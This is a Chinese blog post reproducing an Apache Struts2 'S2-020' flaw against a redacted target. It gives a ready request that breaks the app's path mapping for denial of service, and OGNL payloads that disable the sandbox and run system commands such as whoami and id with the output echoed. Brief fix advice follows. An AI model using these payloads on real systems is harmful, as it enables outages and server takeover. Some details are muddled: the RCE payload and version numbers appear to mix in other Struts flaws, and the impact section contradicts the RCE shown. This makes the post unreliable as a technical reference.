漏洞复现 - Struts2 S2-020 DoS 与 RCE 利用

本文最后更新于 2025年7月14日 下午

📌 漏洞简介

Struts2 S2-020 是 Apache Struts 2 框架中的一处高危漏洞,
其本质是 ClassLoader 可控,导致 OGNL 表达式可以修改服务器上下文属性,从而执行任意代码或破坏配置。

  • 影响版本:Struts 2.0.0 - Struts 2.3.15.1
  • 漏洞点:未对 OGNL 表达式做充分的上下文属性过滤

🚩 利用场景 1️⃣ - 拒绝服务(DoS)

⚙️ 原理

通过可控 OGNL,修改 classLoader 加载的 docBase 路径,
如果将其改成一个不存在的目录,当前应用的映射会失效,访问任意路径都会返回 404,实现 DoS。


🗂️ 漏洞环境

  • 目标:http://xxx/uprr/goLoginJsp.ajax

✅ 利用示例

构造恶意参数

1
2
GET /uprr/goLoginJsp.ajax?class.classLoader.resources.dirContext.docBase=不存在路径 HTTP/1.1
Host: xxx

请求示例:

1
http://xxx/uprr/goLoginJsp.ajax?class.classLoader.resources.dirContext.docBase=不存在路径

✅ 访问效果

  • 执行后,当前应用映射的物理路径被改成了一个不存在的目录
  • 所有后续访问都会返回 404 Not Found
  • 直至服务被重新部署或重启,服务不可用。

📸 截图示例

执行前:

image-20250714121941774

设置为不存在路径后,访问404:

image-20250714122012992


🚩 场景 2️⃣ - 远程命令执行(RCE)

⚙️ 原理

OGNL 表达式不仅能修改配置,还可调用 Java 类加载器、运行时对象,执行系统命令。

例如:

  • 调用 java.lang.Runtime.getRuntime().exec()
  • 输出命令结果到页面

🗂️ 漏洞环境

  • 目标 URL:
    http://xxx/uprr/goLoginJsp.ajax

✅ 构造命令执行 POC

下面示例执行 whoami

1
2
3
4
5
6
7
8
9
10
11
12
GET /uprr/goLoginJsp.ajax?
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
%23a%3d@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),
%23b%3dnew%20java.io.InputStreamReader(%23a),
%23c%3dnew%20java.io.BufferedReader(%23b),
%23d%3dnew%20char[50000],
%23c.read(%23d),
%23out%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
%23out.println(%23d),
%23out.close() HTTP/1.1

Host: xxx

🔍 关键参数拆解

参数 作用
method:#_memberAccess 关闭安全沙箱限制
#a 执行系统命令
#b 读命令输出
#c 缓冲流
#d 输出缓冲
#out 获得 Response Writer

✅ 效果示例

执行后,页面会直接回显命令结果:

1
root

🔗 通用 payload 变体

1
2
3
4
5
6
7
?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#process=@java.lang.Runtime@getRuntime().exec('id'),
#is=new java.io.InputStreamReader(#process.getInputStream()),
#br=new java.io.BufferedReader(#is),
#res=new char[50000],
#br.read(#res),
@org.apache.struts2.ServletActionContext@getResponse().getWriter().println(#res)
  • Windows 下可改 whoami / dir
  • Linux 下可改 id / ifconfig / ping

⚠️ 影响

  • 该方法不需要上传文件或执行命令,只需要可访问漏洞点即可。
  • 攻击难度低,极易被批量扫描滥用造成拒绝服务。

🛡️ 修复建议

✅ 官方修复:

  • 升级至 Struts 2.3.15.2 及以上版本
  • 严格限制 OGNL 表达式可访问属性范围
  • 生产环境禁用 devMode
  • 使用 WAF 拦截包含敏感 OGNL 字段的恶意参数

🔍 漏洞利用拓展

除了 DoS,该漏洞还可用于:

  • 远程命令执行(RCE):执行系统命令,如 pingwhoami
  • 读取/写入文件
  • 服务器提权与持久化

🔗 参考链接


📝 总结

  • DoS:直接断绝路径映射
  • RCE:利用 OGNL 动态执行命令
  • 危害:极易打点横向移动,后果严重